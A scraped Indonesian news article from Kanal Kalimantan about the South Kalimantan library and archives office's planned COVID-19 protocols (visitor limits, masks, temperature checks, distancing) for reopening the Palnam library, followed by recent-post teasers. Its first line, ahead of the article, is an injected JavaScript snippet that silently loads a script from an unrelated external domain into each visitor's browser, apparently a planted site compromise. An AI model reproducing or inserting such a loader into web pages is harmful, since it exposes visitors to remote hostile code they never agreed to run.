(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Jelang Beroperasi, Begini Protokol Mengunjungi Perpustakaan Palnam


KANALKALIMANTAN.COM, BANJARMASIN – Menindaklanjuti rencana dibukanya kembali layanan Perpustakaan Palnam di bawah pengelolan Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan, dilakukan sejumlah persiapan. Tentunya, jika ada keputusan Pemprov Kalsel agar pelayanan perpustakaan dapat dibuka dengan mengikuti protokol kesehatan di tengah pandemi Covid-19.

“Ada beberapa hal yang diinformasikan sesuai dengan protokol kesehatan, sesuai dengan Keputusan Menteri Dalam Negeri Nomor 440830 Tahun 2020 dan Keputusan Menteri Kesehatan Nomor HK.01.07/MENKES/328/2020, pengunjung di ruang deposit referensi dan perpustakaan umum dewasa untuk tempat duduk dan berdiri sebanyak 210 orang. Sedangkan untuk anak maksimal 150 orang dan Depo Arsip Pierre Tendean sebanyak 50 orang,” kata Kepala Dispersip Kalsel Dra. Hj. Nurliani Dardie, Selasa (2/6/2020) petang.

Ditambahkan Bunda Nunung –sapaan akrabnya- apabila masih banyak pengunjung baik di ruang perpustakaan maupun ruang deposit referensi, maka pengunjung akan diarahkan untuk ke gazebo yang disediakan. Jika ditotal dari seluruh gazebo yang ada, mampu menampung sebanyak 30 orang.

Dispersip Kalsel akan menerapkan protokol kesehatan jika layanan Perpustakaan Palnam dibuka kembali. Foto: Dispersip Kalsel for kanalkalimantan

Kendati belum difinalisasi, protokol untuk pengunjung Perpustakaan Palnam maupun Depo Arsip Pierre Tendean diantaranya seperti wajib menggunakan masker, mencuci tangan dan harus mengecek suhu tubuh. Jika suhu tubuh tidak melebihi 37,5 derajat celcius, maka pengunjung diperbolehkan masuk. Selain itu, pengunjung juga harus menerapkan physical distancing minimal satu meter.

Sedangkan protokol kesehatan bagi karyawan baik di Perpustakaan Palnam maupun Depo Arsip Pierre Tendean, diminta untuk mengatur jarak pengunjung antara 1 hingga 1,5 meter. Selain itu, karyawan juga diminta untuk memberi tanda jarak dari titik layanan utama untuk meminimalisir interaksi tatap muka.

Tentunya, karyawan Dispersip Kalsel juga diwajibkan menerapkan pola hidup bersih dan sehat (PHBS) dan selalu menggunakan masker dan sarung tangan. Serta mewajibkan pengunjung untuk menggunakan masker sebelum, selama dan selesai kunjungan.

“Diharapkan jika layanan perpustakaan dibuka pada saat ditentukan masyarakat pengunjung dan karyawan sudah melaksanakan protokol yang disepakati,” pugkas Bunda Nunung. (kanalklaimantan.com/fikri)

Reporter : fikri
Editor : cell

 


Al Ghifari

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

43 menit ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

2 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

2 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

15 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

16 jam ago

This website uses cookies.